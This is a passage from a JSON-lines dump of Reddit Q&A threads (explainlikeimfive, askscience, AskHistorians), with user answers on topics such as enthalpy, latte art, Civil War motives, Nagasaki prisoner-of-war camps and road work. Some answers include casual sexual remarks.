Carolina avowed patriotic convictions, compared with 47 percent from North Carolina\"), as well as a similar split with soldiers who joined in the first year, and those later on, but but even those who saw their need to fight as a more basic defense of home and family from Yankee aggression were fighting for a way of life which they saw as threatened, and one which would be irreparably changed with abolition.\n\nThere is one important caveat of course, which builds off of the above, namely that while a non-slaveholder still could easily feel that he had a stake in the continued health of the 'peculiar institution', this correlates, essentially, with their proximity to slavery. Reasons for that are many, and also quite easy to see. Aspirationally, the farmer had wealthy plantation owners near by, a status to which they could aspire; hierarchically, as discussed above, the presence of the black population was very *real* to them, and played an important part in their self-definition; financially, they were just as dependent on slavery as the slaveholders in many ways. A non-slaveowner still saw how integrated it was to the greater economic well-being of their community, and also would routinely hire out slaves from wealthier neighbors to help with their own needs. \n\n*But* when you move to areas such as western North Carolina, western Virginia, or northwest Georgia, [real changes can be seen](_URL_0_). Slavery becomes much less prevalent, it *isn't* an integral part of the lives of people when only a small handful own slaves. The result of this is that support for the Confederacy is at its worst in those regions. The poor, white, *slaveless* enclaves heavily focused in the Appalachia region were the first to decide the war wasn't worth it. Although they might have been willing to defend their homes in a *literal* sense from Union invasion, there was strong resistance to fighting somewhere else. A common sentiment explaining a lack of desire to enlist was that they would only do so if they would be deployed exclusively to their home county, and from those who did anyway, they soon soured on fighting hundreds of miles away, as they saw a disconnect from their own motivations in doing so, as the only real threat that they felt was the possibility of Union troops upending their own little community. This only compounds when the draft comes about, as resistance to the Confederate draft was strongest in regions where slavery was rare."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.slate.com/content/dam/slate/blogs/the_vault/2013/09/4/BigSlaveryMap.jpg", "https://www.reddit.com/r/AskHistorians/comments/5q20wg/why_were_so_many_willing_to_fight_for_and_defend/"]]}
{"q_id": "38e2je", "title": "is it possible to pavlov yourself into having a particular fetish?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38e2je/eli5_is_it_possible_to_pavlov_yourself_into/", "answers": {"a_id": ["crue1p9", "cruhivi", "crum5gw", "crunj9p", "cruomxv"], "score": [9, 17, 4, 19, 5], "text": ["I think I remember a girl that did an AMA a while ago, that had the fear of vomit that later turned into a fetish of vomit play. It was very interesting. Imagine the power you could have ", "I think I accidentally pavloved a high school boyfriend.  I usually wore my hair down, but whenever we were going to make out or mess around, I'd tie it back so it wouldn't get in my face.  He eventually started making a move right away every time I put my hair up.  Even if we were out in public or around other people, he'd suddenly decide we should leave and go somewhere more private.\n\nEDIT: To apply this in a way that impacts your own reactions to certain fetishes, I think it'd be easiest if you had a cooperative partner who found subtle ways to incorporate it or reference it in every sexual encounter, and then gradually begin to introduce it as a standalone thing and/or increase the amount of time spent on it during each encounter.  If you wanted to do this by yourself, you could probably do the same by incorporating images or videos of the fetish into your usual \"routine\" alongside the ones you currently find arousing until you begin to associate it with the general \"things that turn you on\" category.\n\nI think it would be a lot harder to do with things you initially find unappealing or have a strong aversion to, though.  Especially if it's something you can't find a way to incorporate that seems natural.  It'd probably be most effective with a neutral activity that you don't currently associate with sex or that doesn't currently excite you.", "Absolutely.\n\n\nIt would probably be easiest to mix with something that already arouses you or brings you pleasure in some way.  Do that enough times and your brain will connect the thing for which you're trying to develop the fetish with pleasurable experiences or feelings.\n\n\nFetish obtained.  +500 weirdness points.", "My brain automatically goes into \"It's time for a blowjob\" mode every time I see a girl put her hair up in a pony tail. Every. Single. Time.", "I think it's possible.  Warning: personal anecdote.  \n\nI started with mind control, mainly because of _URL_0_ . There is a universe there called master pc which incorporates a lot of breast expansion.  Eventually,  I started liking breast expansion. When I found reddit, I found /r/breastexpansion. On there, there is some lactation. I ended up fapping to lactation porn. It lead me to hucow. That in turn led into free use. Somehow, dispite bimbofication being a constant,  I never got into that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["mcstories.com"]]}
{"q_id": "10wpxg", "title": "how do baristas make latte/coffee art?", "selftext": "This just really blows my mind.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/10wpxg/how_do_baristas_make_lattecoffee_art/", "answers": {"a_id": ["c6hcvwr", "c6hmfb1"], "score": [3, 3], "text": ["The barista holds the cup of coffee in one hand and a milk jug in the other.\n\nWhile tilting the cup just so, the barista then pours the milk into the cup very gently, from the side of the cup.\n\nThen the jug is swayed gently to create a pattern.\n\n_URL_0_", "The trick is in how you steam the milk. You want to create a layer of rich foam on the top of the pitcher for when you pour your milk into espresso or chocolate. \n\nThe trick is in the angle and speed that you pour at. You want to let the heavier milk out first and when you get towards the top of the cup you begin to let more of the foam out as you're pouring. The foam then sits on top of the milk and coffee because it is so much lighter. The design is created by drawing with the lighter foam on top of the heavier milk. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://video.about.com/coffeetea/Create-Latte-Art.htm"], []]}
{"q_id": "7qv12x", "title": "What is enthalpy?", "selftext": "And can we measure it directly ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7qv12x/what_is_enthalpy/", "answers": {"a_id": ["dss2sjb", "dss3g2q", "dstz2ab"], "score": [13, 2, 2], "text": ["Enthalpy is a thermodynamic state function similar to the internal energy, except the internal energy depends naturally on entropy, **volume**, and the number of particles, whereas enthalpy depends naturally on entropy, **pressure**, and the number of particles.\n\nSo it\u2019s just another energy function, but it has the volume dependence exchanged for pressure dependence. This is convenient because pressures are easy to control in lab settings, and they\u2019re often held approximately constant.\n\nThat\u2019s why enthalpy is useful for chemistry and fluid dynamics, because the pressure can often be treated as constant. When the pressure and number of particles are constant, the change in enthalpy of some system during some process is just equal to the heat absorbed by the system during that process.", "If you accept a state function like internal energy as \"physical\" then all the other ones (Helmholtz free energy, Gibbs free energy, enthalpy, etc.) are actually all related to it and each other through a mathematical transformation (a Legendre transformation) that basically transform which quantities are taken as independent and which are taken as dependent.  So in essence all such functions are different slices through the same \"master\" function.\n\nSo enthalpy is just a different slice then, say, internal energy of the same mathematical object.  \n\n > And can we measure it directly ?\n\nNo.  We can't measure internal energy directly either. State functions describe the RELATIONSHIP between observable/measurable quantities.  They are not measurable themselves.   This is analogous to \"regular\" energy.  You can't directly measure that either.", "Enthalpy is the internal energy of the system **plus** the energy needed to move the atmosphere out of the way so that the system can exist in space. (in other words, enthalpy is internal energy plus a *PV* work term.) Because the internal energy can only be measured relative to a reference energy, the same constraint applies to enthalpy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6na1w3", "title": "how are \"wet bulb temperature\" and \"heat index\" related?", "selftext": "I know that \"dry bulb\" = the actual temperature.\n\nBut both \"wet bulb\" temperature and heat index factor in both temperature and humidity.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6na1w3/eli5how_are_wet_bulb_temperature_and_heat_index/", "answers": {"a_id": ["dk7v3yv", "dk7vjh8"], "score": [2, 2], "text": ["The usual way of measuring relative humidity is to compare the temperature of a dry thermometer to a wet one, the wet bulb.  The less water in the are, the more can evaporate and cool the wet bulb, and the greater the difference.\n\nConversely, when the wet bulb temperature is near the dry bulb, humidity is high, which contributes to the unpleasantness of a hot day.", "Here is the [psychrometric chart](_URL_1_ ) showing the relationships.  [Another one for the non-metric](_URL_0_ )."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://media.licdn.com/mpr/mpr/AAEAAQAAAAAAAAiMAAAAJGM0ZTcwNjA4LWRiM2EtNDFkNS1hNGY3LWIyODg3MzA4MTk5Mg.jpg", "https://d2vlcm61l7u1fs.cloudfront.net/media%2F4d8%2F4d82925e-7531-4db6-8f14-e11eb61705f4%2FphpK4kABq.png"]]}
{"q_id": "5553dh", "title": "How does olfactory fatigue work?", "selftext": "I can't seem to find specific scientific information about how it exactly works. Do we not really know? Or am I just bad at googling?\n\nThe wikipedia page is surprisingly lacking...\n\n(specific as in what happens at the molecular level)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5553dh/how_does_olfactory_fatigue_work/", "answers": {"a_id": ["d88vf9c"], "score": [2], "text": ["I am on mobile and suck at formatting so won't post the exceptionally long link. But try searching for _URL_0_ and olfactory fatigue. The first result should be a PDF that explains it quite well. It depends on what level of detail you are looking for. I have a bachelors and it makes sense to me but it doesn't seem overly explicit or thoroughly concrete. \n\nI think the mechanisms are still being theorised but the basic suggestion (with the risk of over simplifying) is that if an odor is not considered toxic, your brain realises that it is not energetically viable for you to keep reacting to the stimuli as it is not\n causing you any immediate danger. Thus, the interneurons responsible for relaying the olfactory signals are inhibited. So your nose is still smelling it but it's not worth the mental processing.\n\nIn terms of molecular mechanisms, it's all dependent on the neurotransmitters involved in the neural pathway. I don't know this for sure but I would imagine inhibition of sensory input would be due to an increase in GABA (i inhibtory transmitter) neuron activity. This makes sense as most sensory interneurons are GABA.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["toxipedia.org"]]}
{"q_id": "45wtud", "title": "photosynthesis (specifically the calvin cycle)", "selftext": "I understand the light reactions, but with the calvin cycle, I have a hard time understanding it", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/45wtud/eli5_photosynthesis_specifically_the_calvin_cycle/", "answers": {"a_id": ["d00qj15"], "score": [3], "text": ["Step 1: Carbon enters the cycle as CO2\nStep 2: An enzyme adds RuBP forming 3 unstable six-carbon molecules\nStep 3: The molecules break into six three-carbons molecules (3-PGA)\nStep 4: 6 ATP turn into 6 ADP + 6P (T= tri, D= Di) You are taking a P out.\nStep 5: NADPH turns into NADP+  ATP and NADPH from the light reactions provide the energy and electrons to convert the 3-PGA to G3P (this is the direct product of photosynthesis)\nStep 6: Carbon then exists the cycle in one molecules of G3P. Plant cells will use the G3P to make glucose and other organic compounds. This leaves 15 carbon atoms remaining in 5 G3P molecules. \nStep 7: 3 ATP is turned into 3P + 3 ADP \nStep 8: ATP provides energy for enzymes to rearranged the G3P molecules to regenerate RuBP, ADP and NADP+ and they are returned to the start of the light reaction. This bring us back to step 1 where 3CO2 is added to the system and the cycle repeats. \n\nThis creates: 6 CO2 + 6H20 ---- >  C6H12O6 + 6 O2\n\n6 Carbon dioxide with 6H20 in the presence  of light yields energy and oxygen. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fswgc", "title": "Hopefully I'm not over stepping the bounds of this /r/, but what is the explaination of \"breaking the seal?\"", "selftext": "I mean, if i go, shouldn't my bladder be empty? Is it that my intestines are taking that long to catch up? Is it psychological? Why can hold it for two hours but not make it twenty minute after breaking the seal?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fswgc/hopefully_im_not_over_stepping_the_bounds_of_this/", "answers": {"a_id": ["c1idcnj", "c1idoq8", "c1ie034"], "score": [7, 2, 2], "text": ["There is no explanation.  It isn't a real phenomenon.\n\nIt just seems this way because you drink a whole bunch of beer at once and there's some delay before it is filtered by your kidneys.\n\nHolding your urine and avoiding 'breaking the seal' will only cause you to pee less often if you drink less due to the pain of having a full bladder.", "It isn't the first urination that's responsible for the increase in urination frequency, but the amount of time to fill the bladder until first urination. You are not in control of it.", "[Here is an explanation from a medical student.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.grahamazon.com/over/2007/06/physiology-of-breaking-the-seal/"]]}
{"q_id": "25m8km", "title": "Is it possible to imagine a universe where the fundamental laws of mathematics are different in the same way scientists can imagine a universe where the laws of physics are completely different than ours?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/25m8km/is_it_possible_to_imagine_a_universe_where_the/", "answers": {"a_id": ["chiqvlm", "chis0ib"], "score": [61, 13], "text": ["Mathematics is already not limited by this universe - it's only limited by our imaginations and the rules of a given mathematical system.  E.g. set theory has one set of rules, category theory has another, and something that's possible or true in one system may not be possible or true in another.  \n\nAs such, the \"fundamental laws of mathematics\" really have nothing to do with physical universes, and shouldn't be affected by them.\n\nBut if the question is about whether we might have a universe where putting two balls into a box results in the box containing three balls, so 1+1=3, that's not actually a question about mathematics, it's just a question about which of the many possible mathematical systems we can imagine apply to the universe in question.\n\nOne example of this would be the structure of space, which in our universe appears geometrically flat: so the angles of a triangle, even one with sides that are light-years across, add up to 180 degrees.  But in a universe where space has some other geometry, e.g. hyperbolic, then the angles of a triangle in that universe would add up to less than 180 degrees.\n\nThis is not a change in the fundamental laws of mathematics, though.  It's just a universe with different mathematical properties.\n", "The thing with the \"Laws of Mathematics\" is that every law follows from a set of basic assumptions (axioms) and neither the axioms nor the conclusions we can draw from them are tied to our reality (although that is something philosophers might debate over).\n\nFor example, there are types of geometry where pi (i.e. the ratio between a circle's circumference and its diameter) is not fixed and depends on the size of the circle (These geometries are called non-Euclidian)\n\nThe easiest example of this would be the surface of a sphere (with all distances measured along the surface): a very small circle will have the usual value of pi, but e.g. the equator has its diameter passing through the north (or south) pole so pi = 2.\n\nHowever the point is that this different kind of law arose not because we are in a different universe, but because we started with a slightly different set of assumptions and different kinds of geometries are being used in physics.\n\nMost of the maths we have developed, we have developed because these initial assumptions kind of make sense to us (or at least to some mathematician) and not because they are dictated by the universe. I like to imagine a different kind of life-form in a different universe developing a whole different kind of maths, but not because because the universe is different, but because different kinds of inital assumptions make sense to them.\n\n(Disclaimer: I am neither a mathematician nor a philosopher, but a physics student)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "pwfqv", "title": "Do lasers powerful enough to cleanly cut a human limb off or cut a human in half exist? like they are in movies and video games", "selftext": "I'm not talking about a laser that will just cause a minor burn, I'm actually talking about a laser that could cleanly cut right through a human just by them walking through it.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pwfqv/do_lasers_powerful_enough_to_cleanly_cut_a_human/", "answers": {"a_id": ["c3ss9a7", "c3ssaeu", "c3ssnju", "c3ssuda", "c3stjak", "c3svrzs"], "score": [2, 3, 24, 3, 12, 2], "text": ["[The YAL-1](_URL_1_) would probably cut an arm off pretty well.....or more likely BURN an arm off, I don't think its beam is focused like the mega-watt cutting lasers which can [cut through a 1/2 inch steel plate like butter](_URL_0_).", "Lasers to cut through sheet steel currently exist.  They're used in machining all the time.  Those are widespread and probably couldn't cut through a person who made the mistake of walking through, but state-of-the-art is getting more and more powerful.  I know the kilowatt (most of the steel-cutting lasers are a few hundred watts) barrier has been broken in fiber lasers, which is an impressive feat.  I saw videos at a conference of one of those cutting through a lot of different materials, and it was impressively scary.", "The reason lasers can make a very clean cut in metal is that most of the laser energy is absorbed in a fairly small volume. Human flesh is translucent, so the energy would be deposited all over the place and not make a clean cut. \n\nIn terms of actual power, modern lasers could easily produce it. The Israelis used to experiment with lasers powerful enough to blow incoming rockets into pieces. Last I heard they abandoned the idea because the chemical reaction they used to power the laser produced too poisonous exhaust. \n\nBasically, making a laser powerful enough to cut a human in half is perfectly doable, but it is unlikely to produce a clean cut because of how human tissue interacts with light. ", "We have lasers that can quickly cut through inches of steel.\n\nHowever, it would *not* be clean. It would very rapidly burn through a person and cauterize the wound, but it won't be clean like in sci-fi.", "We use lasers to cut flesh all the time:\n\n_URL_0_\n\nBig lasers would fry you good:\n\n_URL_1_\n\nThe only unrealistic thing about \"sci-fi\" lasers is a power source.", "Hmmm... well, the specific heat capacity of tissue is 3.5 kJ/kg/K. One of my friend's labs had a solid state laser from the star wars program for a bit. It was 800 W continuous wave optical output, and when we pulled it open to peek inside, I'd say that the beamspot was probably about a mm. This laser was truly a monster. So, if we make a couple of assumptions, we can get a number for expected heat rise on a line of tissue through a person in 1ms. We have 800 MJ/s/m^2 onto tissue with a heat capacity of 3.5 kJ/kg/K. Lets say that the person is 0.3 m thick and that that tissue has the density of water (1kg/m^3). This gives us 300 mg of tissue. Now, the temperature rise of that tissue in line with the laser in 1 millisecond is about 1 degree Kelvin. I couldn't find the ablation temperature of tissue, but if we assume that it is 100 kelvin above ambient, then this thing would cut a line straight through you in about a tenth of a second. But this is just a 1 mm wide hole, not slicing you in half. Lets say that you wanted to be cut in half with this laser, and you're about 0.3 m wide. With our 1 mm wide beam, it would take 30 seconds. So, even with this truly ridiculous piece of hardware, it wouldn't cut through you like you see in the movies. It sure as hell is dangerous, though.\nYou can get multi-KW continuous wave CO2 lasers, which would reduce these times by an order of magnitude or so, but its hard to do MW class lasers continuous wave or usable for more than a few relatively short pulses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=RAsjsz2p7UY", "http://www.youtube.com/watch?v=R2eehBk_DNQ"], [], [], [], ["http://www.youtube.com/watch?v=TxLUtK_b9KU", "http://www.scientificamerican.com/article.cfm?id=laser-downs-uavs"], []]}
{"q_id": "1fqjgy", "title": "What is Henry IV wearing on his head?", "selftext": "I was reading about English monarchs on Wikipedia and noticed that, in their portraits, they're all either wearing crowns or black hats (like [this](_URL_2_) and [this](_URL_1_)) except for Henry IV who is wearing [this red cloth thing](_URL_0_). It really stands out against all the other portraits because it's so different. What is it? And why is the only one wearing it? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fqjgy/what_is_henry_iv_wearing_on_his_head/", "answers": {"a_id": ["cactrfm", "cacy1f6", "caczt67"], "score": [19, 11, 21], "text": ["Just as a guess, this looks a bit like a kind of [chaperon](_URL_0_). As it was worn in 14th century Western Europe, it is a possibility. The fabric could be tied or worn loose, usually very ornate. ", "Basically, it is an evolution of the [chaperon](_URL_2_) however, keep in mind that the painting you linked was painted in the 16th century- Henry IV lived from 1366 to 1413 so the artist likely never saw that particular hat. More likely, he based it on some of the popular hoods or hats from the time of the painter. \n\nI have a book that goes into a lot of detail about how to make medieval garments that is sourced from surviving pieces. Unfortunately it has not been unpacked yet- I believe it is [this book](_URL_1_) though. I know that there are chaperons in that book that are very similar. [This article](_URL_0_) also describes how they were likely put together.\n\nYou might also try /r/sca or /r/historicalcostuming", "I agree that this is some form of chaperon, though perhaps not the fully developed kind that first shows up in English pictures (via France) in the 1420s.  What's fun about the chaperon is that it's the creation of some noble *fashionista* who decided to take the [traditional hood] (_URL_0_) (which covered the whole head, draped on the shoulders, and ended with a long tail called a \"liripipe\") and put the face hole on top of his head, wrapping the shoulder piece around his head and throwing the liripipe over the top.  It was all the rage in the late 1300s to early 1400s.  It's modern equivalent would be the baseball cap worn backwards. Herbert Norris's *Medieval Costume and Fashion* discusses its evolution."]}, "title_urls": [], "selftext_urls": ["https://en.wikipedia.org/wiki/File:King_Henry_IV_from_NPG_\\(2\\).jpg", "http://en.wikipedia.org/wiki/File:Edward4.jpg", "http://en.wikipedia.org/wiki/File:Richard_III_earliest_surviving_portrait.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Chaperon_%28headgear%29"], ["http://www.virtue.to/articles/hoodlum.html", "http://www.amazon.com/Medieval-Costume-England-France-Centuries/dp/0486290603/ref=sr_1_3?s=books&amp;ie=UTF8&amp;qid=1370471046&amp;sr=1-3&amp;keywords=medieval+clothing+patterns", "http://en.wikipedia.org/wiki/Chaperon_%28headgear%29#Evolved_chaperon"], ["http://medieval.mrugala.net/Vetements/Images/Chaperon.jpg"]]}
{"q_id": "awm738", "title": "why do the people who sell movie tickets do so from a glass booth?", "selftext": "Like, is this necessary? I find it extremely odd. Ive been to banks with less security...", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awm738/eli5_why_do_the_people_who_sell_movie_tickets_do/", "answers": {"a_id": ["ehni1az", "ehnizud", "ehnl2be"], "score": [11, 4, 6], "text": ["They probably deal with a shitton of cash. I live in New York and the theaters here get packed out. So I'm guessing they probably have a good amount of cashflow. ", "The booths are usually facing an outdoor area where the customers line up. The window allows the movie theater to sell the tickets to people who are outside while still keeping their computers, cash drawers, etc on the inside of the building.", "Since most ticket booths are on the outside of the building, they need to protect the employee, tickets, and equipment from weather and people. There's a fairly large amount of money coming into the ticket booth and it contains one or more computers and registers, which makes it a target for robbery. And do you really want to stand outside on a subzero day selling movie tickets? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "14jijb", "title": "Giant octopus is considered very smart yet it has a 5 year lifespan. What impact does the brain power have on its lifespan, and vice versa?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/14jijb/giant_octopus_is_considered_very_smart_yet_it_has/", "answers": {"a_id": ["c7dn70g"], "score": [6], "text": ["There is absolutely no correlation, dolphins live for around 30 years and asian elephants live up to 80 years, both are deemed to be relatively intelligent.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5uthzv", "title": "My grandfather was being held in a Japanese PoW camp at the end of WWII and said he saw a nuclear explosion. Can anyone tell me where he could've been held and how he might've gotten there?", "selftext": "He died in the early 2000s, so I can't ask him questions. I know this:\n\n- He was Dutch-Indonesian and would've been in Indonesia at the start of the war\n- His name was Rudolph Philip Houthuysen\n- My mother vaguely remembers hearing he was in the cavalry and being injured falling off something. Maybe a motorcycle, maybe a horse.\n\nI know that's not a lot to go on, and finding him specifically might be a lot of effort or impossible, so I'd be interested in hearing the broad possibilities.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5uthzv/my_grandfather_was_being_held_in_a_japanese_pow/", "answers": {"a_id": ["ddx4usb"], "score": [803], "text": ["It's almost a certainty that your Grandfather saw the bomb at Nagasaki.  Between Hiroshima and Nagasaki, Dutch POWs were *almost* entirely kept in the various Fukuoka regional camps, in and around Nagasaki.  \n\nAccording to the [POW Research Network Japan](_URL_9_), some 500 or so Dutch prisoners were kept in camps near Hiroshima at the end of the war.  Meanwhile, approximately 3700 were in the Fukuoka camps at the same time.\n\n[THIS WEBSITE](_URL_1_) has camp rosters dating back to the end of the war, for all prisoners in each camp, broken out by nationality.  I went through the first two camp rosters for Fukuoka with no luck, but that only leaves ~20 or so more.\n\nIf he was in or around either city, he should be listed there.\n\nEDIT:  FOUND HIM!  He was in Fukuoka Camp 23, [and is listed on page 20 of this document](_URL_0_). (pdf warning)\n\n[Here's an aerial photo of the camp itself.](_URL_7_)\n\nSECOND EDIT:  I couldn't get Googlemaps to behave, so [here's a screenshot of the area instead.](_URL_8_)  According to the aerial photo linked above, the camp was located at the red four-pointed star, to the west of Kurume.  [Straightline distance from Kurume to Nagasaki is 87km/54miles according to this website.](_URL_5_)\n\nTHIRD EDIT: Almost directly in line with Fukuoka 23 and Nagasaki is Mt Tara, which is 1076m tall.  [The bomb at Nagasaki detonated at around 500m](_URL_2_).  So, assuming your Grandfather was actually *in* the camp that day in August, he probably didn't see the bomb flash directly.  He surely would have seen the smoke cloud, and probably would have heard the explosion. \n\nFOURTH EDIT:  Thanks, OP, that was a fun bit of research!\n\nFIFTH EDIT:  /u/LaoBa found [a listing for Rudolph Houthuysen at Fukuoka #14](_URL_3_), which was located less than 2km from the ground zero.  There's no conflict however, as he *isn't* listed on the [end of war roster for that camp](_URL_4_).  It's pretty clear that he had been moved to Fukuoka 23 before the bomb was dropped.  This report does give us a better history of Grandpa Houtuysen time in Japan though, as it appears that most of the Dutch POWs in Camp 14 were [brought to Japan in April 1943 on the *Hawaii Maru*, one of the so-called \"hellships\".](_URL_6_)  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.mansell.com/pow_resources/camplists/fukuoka/fuk_23_keisen/FUK-23_Rosters_1946-02-16.pdf", "http://www.mansell.com/pow_resources/camplists/fukuoka/fuk_01_fukuoka/fukuoka_01/CmpGroup.htm#FUKUOKA", "http://blog.nuclearsecrecy.com/2012/08/08/the-height-of-the-bomb/", "http://www.japansekrijgsgevangenkampen.nl/Fukuoka%2014B%20naamlijst%20alf.htm", "http://www.mansell.com/pow_resources/camplists/fukuoka/fuk-14-nagasaki/FUK-14_Rosters_1946-02-16.pdf", "http://www.distancefromto.net/distance-from-nagasaki-to-kurume-jp", "https://sites.google.com/site/powsofthejapanese/Home/hellships-information-photos/hawaii-maru", "http://www.mansell.com/pow_resources/camplists/fukuoka/fuk_23_keisen/fukuoka_23_300dpi.jpg", "http://i.imgur.com/9AyEZfR.jpg", "http://www.powresearch.jp/en/archive/camplist/index.html#fukuoka"]]}
{"q_id": "1xm63u", "title": "Meiji Japan: was the 'Rangaku', or Dutch scientific knowledge built up in the pre-Meiji period, essential to the fast modernization of Japan in the end of the 19th century?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xm63u/meiji_japan_was_the_rangaku_or_dutch_scientific/", "answers": {"a_id": ["cfcpe1x"], "score": [17], "text": ["I'm not aware of any study of the Meiji era which attributes the pace of Japan's modernization to the rangaku scholars' scientific knowledge.\n\nThe rapidity of Japan's modernization was driven by the Meiji government, primarily composed of leaders from the domains which overthrew the Tokugawa shogunate. Rangaku scholars were closely identified with the shogunate, and therefore tended to be marginalized from leading government roles. While they may have agreed with the rapid modernization (and they largely did), they were not responsible for it.\n\nAs for the importance of their scientific knowledge, this simply didn't play as significant a role as is often imagined. In contrast to the shogunate's attempt to carefully control who was allowed to learn about such things, in the Meiji era the doors were thrown open. Western scientists and scholars flooded in, while Japanese students went abroad to learn. The idea that Western learning was something specialized by an elite group was quickly swamped in a general rush for education about such things.\n\nBut that's not to say that rangaku scholars were silent or without influence. One of the most influential figures of the era (despite never holding an official government position) was a former Rangaku scholar named Fukuzawa Yukichi. He was at varying times an author, teacher, journalist, and founder of a university. But his importance to the Meiji reforms was more akin to a public intellectual. Fukuzawa seemingly thought about *everything* that had to do with reforming the nation on a Western model, and published his ideas continually to a nation-wide readership. While he was never in an official role to decide which reforms to take, those who were in such roles were profoundly influenced by his ideas. \n\nRemember, at the time the West (which was certainly the model Japan wanted to emulate) was hardly a single unified entity. Western nations varied incredibly in the forms of their government, industry, economics, education, military, and many other things. Yet somehow they all ended up in the treasured category Fukuzawa called \"civilized.\" How could Japan emulate their example when there were so many seemingly contradictory examples out there? And how could they do this while preserving the concept of Japan as a distinct nation with its own unique identity? What had to change, what should be the model of the change, and what could be preserved? These were all very open questions, and being asked about almost every aspect of society at once. \n\nFukuzawa's role is illustrative of the kind of influence rangaku scholars had upon the Meiji reforms. It wasn't the depth of their knowledge of Western science that had an impact upon the modernization. Rather it was their ability to conceptualize what aspects of Japan had to change in order to reinvent itself along a Western model. It was as much their understanding of Japan as their understanding of the West which allowed them to contribute meaningfully to reform (Nishi Amane is another prominent example of this). \n\nRecommended sources:\n\n[The Autobiography of Fukuzawa Yukichi](_URL_1_) is highly recommended, as a first hand account from the most famous and influential rangaku scholar of them all. \n\nI'd also recommend Marius Jansen's [The Making of Modern Japan](_URL_0_) for a more comprehensive overview of the period. (Note: Jansen doesn't call out rangaku scholars as a group, but does record the important contributions of key individuals like Fukuzawa and Nishi). \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://books.google.com/books/about/The_Making_of_Modern_Japan.html?id=3bf4g447YdcC", "http://books.google.com/books?id=6pCcAAAAMAAJ&amp;dq=editions:ISBN0231083734"]]}
{"q_id": "3jehyj", "title": "how do road crews manage to place cones on a freeway with traffic going 70+ mph?", "selftext": "I'd imagine it's easy to do roadwork when you have cones blocking off the construction site, but how do they put cones there in the first place? Do they just drop them out of a moving car? Do they slow down and block the lane and hope no one rear ends them?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3jehyj/eli5_how_do_road_crews_manage_to_place_cones_on_a/", "answers": {"a_id": ["cuoj7wl", "cuojaef", "cuokbvv", "cuol66f"], "score": [23, 2, 6, 3], "text": ["One truck going around 5 MPH, placing cones every 20 feet or so with another truck behind them with a big arrow on the back indicating that the lane is ending and traffic needs to merge. ", "They do it very early in the morning or in the middle of the night when traffic is volume very low. If they have to do it during a high-volume time they simply block a lane either with a police vehicle or a bigass DoT truck.", "First they put up a sign that says something like \"Right Lane Ends, Merge Left in 1 Mile\". Then they put a few more further down the road. They sometimes do this hours or days in advance. At the point where they are going to start putting cones, they put up a big blinking arrow telling people to move over. Then they start driving a truck with its own blinking arrow sign at that point nice and slow as they put out the cones. As soon as the first few cones are out, there will be no one behind them.", "It takes a whole crew to close a lane (or more) on a freeway with multiple trucks involved. Adding on to what others have said already, the truck that protects the crew ahead is called a shadow truck. It's built with a device on the rear to absorb energy (i.e. absorb impact if it gets rear-ended). Shadow trucks do get rear ended from time to time. In my state (USA), there was an incident this year where a shadow truck was rear-ended by a car involved in a car chase running away from cops. The car was severely damaged (not so much the shadow truck) and the guy ended up car jacking the shadow truck from the operator. The shadow truck is not built for speed so the thief abandoned it and was apprehended some time later."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "4i4ekv", "title": "what is the benefit in \"tar and chipping\" a road?", "selftext": "Might not be the same everywhere, but here in Pennsylvania, sometimes instead of paving a road, they will tar and chip a road. For anyone who doesn't know, this is when they pour hot asphalt and then cover it with loose stone and then it is rolled over and packed tight to form a finished surface.\n\nIs there any actual benefit of doing this? Just seems to me like a cheap alternative to actually paving a road.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i4ekv/eli5_what_is_the_benefit_in_tar_and_chipping_a/", "answers": {"a_id": ["d2uyd8r", "d2uytwk", "d2uyuyj"], "score": [14, 3, 3], "text": ["You've nailed the big one, it's simply cheaper. \n\nAsphalt can be really expensive when you need tons and tons of it, and if you can reduce the amount you need to lay down because your road is not handling a lot of heavy traffic, \"chipsealing\" is an economical way to do it.\n\nPlus this alternative might help create some local jobs at the nearby quarry... which the local mayor just happens to own.", "Resurfacing a road is like putting a fresh coat of paint on a fence, it helps protect and prolong the life of the fence and is much 